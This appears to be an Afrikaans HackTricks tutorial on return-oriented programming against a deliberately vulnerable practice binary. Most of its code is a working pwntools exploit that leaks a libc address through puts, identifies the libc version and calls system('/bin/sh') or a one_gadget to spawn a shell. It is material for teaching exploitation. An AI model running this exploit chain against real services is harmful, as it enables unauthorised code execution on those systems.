Lek die libc adres met ROP

Reading time: 10 minutes

tip

Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Ondersteun HackTricks

Vinning Opsomming

  1. Vind oorgang offset
  2. Vind POP_RDI gadget, PUTS_PLT en MAIN gadgets
  3. Gebruik vorige gadgets om die geheue adres van puts of 'n ander libc funksie te lek en vind die libc weergawe (donwload it)
  4. Met die biblioteek, bereken die ROP en benut dit

Ander tutorials en binaries om te oefen

Hierdie tutorial gaan die kode/binary wat in hierdie tutorial voorgestel word, benut: https://tasteofsecurity.com/security/ret2libc-unknown-libc/
Ander nuttige tutorials: https://made0x78.com/bseries-ret2libc/, https://guyinatuxedo.github.io/08-bof_dynamic/csaw19_babyboi/index.html

Kode

Lêernaam: vuln.c

c
#include <stdio.h>

int main() {
char buffer[32];
puts("Simple ROP.\n");
gets(buffer);

return 0;
}
bash
gcc -o vuln vuln.c -fno-stack-protector -no-pie

ROP - Leaking LIBC template

Laai die exploit af en plaas dit in dieselfde gids as die kwesbare binêre en gee die nodige data aan die skrip:

Leaking libc - template

1- Vind die offset

Die sjabloon benodig 'n offset voordat dit met die exploit voortgaan. As enige verskaf word, sal dit die nodige kode uitvoer om dit te vind (per standaard OFFSET = ""):

bash
###################
### Find offset ###
###################
OFFSET = ""#"A"*72
if OFFSET == "":
gdb.attach(p.pid, "c") #Attach and continue
payload = cyclic(1000)
print(r.clean())
r.sendline(payload)
#x/wx $rsp -- Search for bytes that crashed the application
#cyclic_find(0x6161616b) # Find the offset of those bytes
return

Voer python template.py uit, 'n GDB-konsol sal geopen word met die program wat gecrash het. Binne daardie GDB-konsol voer x/wx $rsp uit om die bytes te kry wat die RIP gaan oorskryf. Laastens kry die offset met 'n python-konsol:

python
from pwn import *
cyclic_find(0x6161616b)

Na die vind van die offset (in hierdie geval 40) verander die OFFSET veranderlike binne die sjabloon met daardie waarde.
OFFSET = "A" * 40

'n Ander manier sou wees om te gebruik: pattern create 1000 -- voer uit tot ret -- pattern seach $rsp van GEF.

2- Vind Gadgets

Nou moet ons ROP gadgets binne die binêre vind. Hierdie ROP gadgets sal nuttig wees om puts aan te roep om die libc wat gebruik word te vind, en later om die finale exploit te lanseer.

python
PUTS_PLT = elf.plt['puts'] #PUTS_PLT = elf.symbols["puts"] # This is also valid to call puts
MAIN_PLT = elf.symbols['main']
POP_RDI = (rop.find_gadget(['pop rdi', 'ret']))[0] #Same as ROPgadget --binary vuln | grep "pop rdi"
RET = (rop.find_gadget(['ret']))[0]

log.info("Main start: " + hex(MAIN_PLT))
log.info("Puts plt: " + hex(PUTS_PLT))
log.info("pop rdi; ret  gadget: " + hex(POP_RDI))

Die PUTS_PLT is nodig om die funksie puts aan te roep.
Die MAIN_PLT is nodig om die hoof funksie weer aan te roep na een interaksie om die overflow weer te ontgin (oneindige rondtes van ontginning). Dit word aan die einde van elke ROP gebruik om die program weer aan te roep.
Die POP_RDI is nodig om 'n parameter aan die aangeroepde funksie te gee.

In hierdie stap hoef jy niks uit te voer nie, aangesien alles deur pwntools tydens die uitvoering gevind sal word.

3- Vind libc biblioteek

Nou is dit tyd om te vind watter weergawe van die libc biblioteek gebruik word. Om dit te doen, gaan ons die adres in geheue van die funksie puts lek en dan gaan ons soek in watter biblioteek weergawe die puts weergawe in daardie adres is.

python
def get_addr(func_name):
FUNC_GOT = elf.got[func_name]
log.info(func_name + " GOT @ " + hex(FUNC_GOT))
# Create rop chain
rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)

#Send our rop-chain payload
#p.sendlineafter("dah?", rop1) #Interesting to send in a specific moment
print(p.clean()) # clean socket buffer (read all and print)
p.sendline(rop1)

#Parse leaked address
recieved = p.recvline().strip()
leak = u64(recieved.ljust(8, "\x00"))
log.info("Leaked libc address,  "+func_name+": "+ hex(leak))
#If not libc yet, stop here
if libc != "":
libc.address = leak - libc.symbols[func_name] #Save libc base
log.info("libc base @ %s" % hex(libc.address))

return hex(leak)

get_addr("puts") #Search for puts address in memmory to obtains libc base
if libc == "":
print("Find the libc library and continue with the exploit... (https://libc.blukat.me/)")
p.interactive()

Om dit te doen, is die belangrikste lyn van die uitgevoerde kode:

python
rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)

Dit sal 'n paar bytes stuur totdat oorskrywing van die RIP moontlik is: OFFSET.
Dan sal dit die adres van die gadget POP_RDI stel sodat die volgende adres (FUNC_GOT) in die RDI register gestoor sal word. Dit is omdat ons wil oproep puts terwyl ons die adres van die PUTS_GOT as die adres in geheue van die puts-funksie gestoor is in die adres wat deur PUTS_GOT gewys word.
Daarna sal PUTS_PLT aangeroep word (met PUTS_GOT binne die RDI) sodat puts die inhoud binne PUTS_GOT (die adres van die puts-funksie in geheue) sal lees en dit sal uitdruk.
Laastens, word die hoof funksie weer aangeroep sodat ons die oorskrywing weer kan benut.

Op hierdie manier het ons die puts-funksie bedrieg om die adres in geheue van die funksie puts (wat binne die libc biblioteek is) te druk. Nou dat ons daardie adres het, kan ons soek watter libc weergawe gebruik word.

Aangesien ons 'n paar lokale binêre benut, is dit nie nodig om uit te vind watter weergawe van libc gebruik word (vind net die biblioteek in /lib/x86_64-linux-gnu/libc.so.6).
Maar, in 'n afstandsbenutting geval sal ek hier verduidelik hoe jy dit kan vind:

3.1- Soek na libc weergawe (1)

Jy kan soek watter biblioteek op die webblad gebruik word: https://libc.blukat.me/
Dit sal jou ook toelaat om die ontdekte weergawe van libc af te laai.

3.2- Soek na libc weergawe (2)

Jy kan ook doen:

  • $ git clone https://github.com/niklasb/libc-database.git
  • $ cd libc-database
  • $ ./get

Dit sal 'n rukkie neem, wees geduldig.
Vir dit om te werk het ons nodig:

  • Libc simbool naam: puts
  • Gelekte libc adres: 0x7ff629878690

Ons kan uitvind watter libc waarskynlik gebruik word.

bash
./find puts 0x7ff629878690
ubuntu-xenial-amd64-libc6 (id libc6_2.23-0ubuntu10_amd64)
archive-glibc (id libc6_2.23-0ubuntu11_amd64)

Ons kry 2 ooreenkomste (jy moet die tweede een probeer as die eerste een nie werk nie). Laai die eerste een af:

bash
./download libc6_2.23-0ubuntu10_amd64
Getting libc6_2.23-0ubuntu10_amd64
-> Location: http://security.ubuntu.com/ubuntu/pool/main/g/glibc/libc6_2.23-0ubuntu10_amd64.deb
-> Downloading package
-> Extracting package
-> Package saved to libs/libc6_2.23-0ubuntu10_amd64

Kopieer die libc van libs/libc6_2.23-0ubuntu10_amd64/libc-2.23.so na ons werksgids.

3.3- Ander funksies om te lek

python
puts
printf
__libc_start_main
read
gets

4- Vind gebaseerde libc adres & uitbuiting

Op hierdie punt behoort ons die libc biblioteek te ken wat gebruik word. Aangesien ons 'n plaaslike binêre uitbuit, sal ek net gebruik: /lib/x86_64-linux-gnu/libc.so.6

So, aan die begin van template.py verander die libc veranderlike na: libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") #Stel biblioteek pad in wanneer dit bekend is

Deur die pad aan die libc biblioteek te gee, gaan die res van die uitbuiting outomaties bereken word.

Binne die get_addr funksie gaan die basisadres van libc bereken word:

python
if libc != "":
libc.address = leak - libc.symbols[func_name] #Save libc base
log.info("libc base @ %s" % hex(libc.address))

note

Let daarop dat die finale libc basisadres moet eindig op 00. As dit nie jou geval is nie, mag jy 'n verkeerde biblioteek gelekt het.

Dan gaan die adres na die funksie system en die adres na die string "/bin/sh" bereken word vanaf die basisadres van libc en gegee word aan die libc biblioteek.

python
BINSH = next(libc.search("/bin/sh")) - 64 #Verify with find /bin/sh
SYSTEM = libc.sym["system"]
EXIT = libc.sym["exit"]

log.info("bin/sh %s " % hex(BINSH))
log.info("system %s " % hex(SYSTEM))

Uiteindelik gaan die /bin/sh uitvoeringsuitbuiting voorberei word en gestuur:

python
rop2 = OFFSET + p64(POP_RDI) + p64(BINSH) + p64(SYSTEM) + p64(EXIT)

p.clean()
p.sendline(rop2)

#### Interact with the shell #####
p.interactive() #Interact with the conenction

Laat ons hierdie finale ROP verduidelik.
Die laaste ROP (rop1) het weer die hooffunksie aangeroep, dan kan ons weer die oortolligheid benut (dit is hoekom die OFFSET hier weer is). Dan wil ons POP_RDI aanroep wat na die adres van "/bin/sh" (BINSH) wys en die system funksie (SYSTEM) aanroep omdat die adres van "/bin/sh" as 'n parameter oorgedra sal word.
Laastens, die adres van die uitgang funksie word aangeroep sodat die proses netjies bestaan en enige waarskuwing gegenereer word.

So sal die exploit 'n _/bin/sh_** shell uitvoer.**

4(2)- Gebruik ONE_GADGET

Jy kan ook ONE_GADGET gebruik om 'n shell te verkry in plaas van om system en "/bin/sh" te gebruik. ONE_GADGET sal binne die libc biblioteek 'n manier vind om 'n shell te verkry met net een ROP adres.
E however, normaalweg is daar 'n paar beperkings, die mees algemene en maklik om te vermy is soos [rsp+0x30] == NULL Aangesien jy die waardes binne die RSP beheer, hoef jy net 'n paar meer NULL waardes te stuur sodat die beperking vermy word.

python
ONE_GADGET = libc.address + 0x4526a
rop2 = base + p64(ONE_GADGET) + "\x00"*100

EXPLOIT FILE

Jy kan 'n sjabloon vind om hierdie kwesbaarheid te benut hier:

Leaking libc - template

Algemene probleme

MAIN_PLT = elf.symbols['main'] nie gevind nie

As die "main" simbool nie bestaan nie. Dan kan jy vind waar die hoofkode is:

python
objdump -d vuln_binary | grep "\.text"
Disassembly of section .text:
0000000000401080 <.text>:

en stel die adres handmatig:

python
MAIN_PLT = 0x401080

Puts nie gevind nie

As die binêre nie Puts gebruik nie, moet jy kyk of dit gebruik

sh: 1: %s%s%s%s%s%s%s%s: nie gevind nie

As jy hierdie fout vind na die skep van alle die exploit: sh: 1: %s%s%s%s%s%s%s%s: nie gevind nie

Probeer om 64 bytes van die adres van "/bin/sh" af te trek:

python
BINSH = next(libc.search("/bin/sh")) - 64

tip

Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Ondersteun HackTricks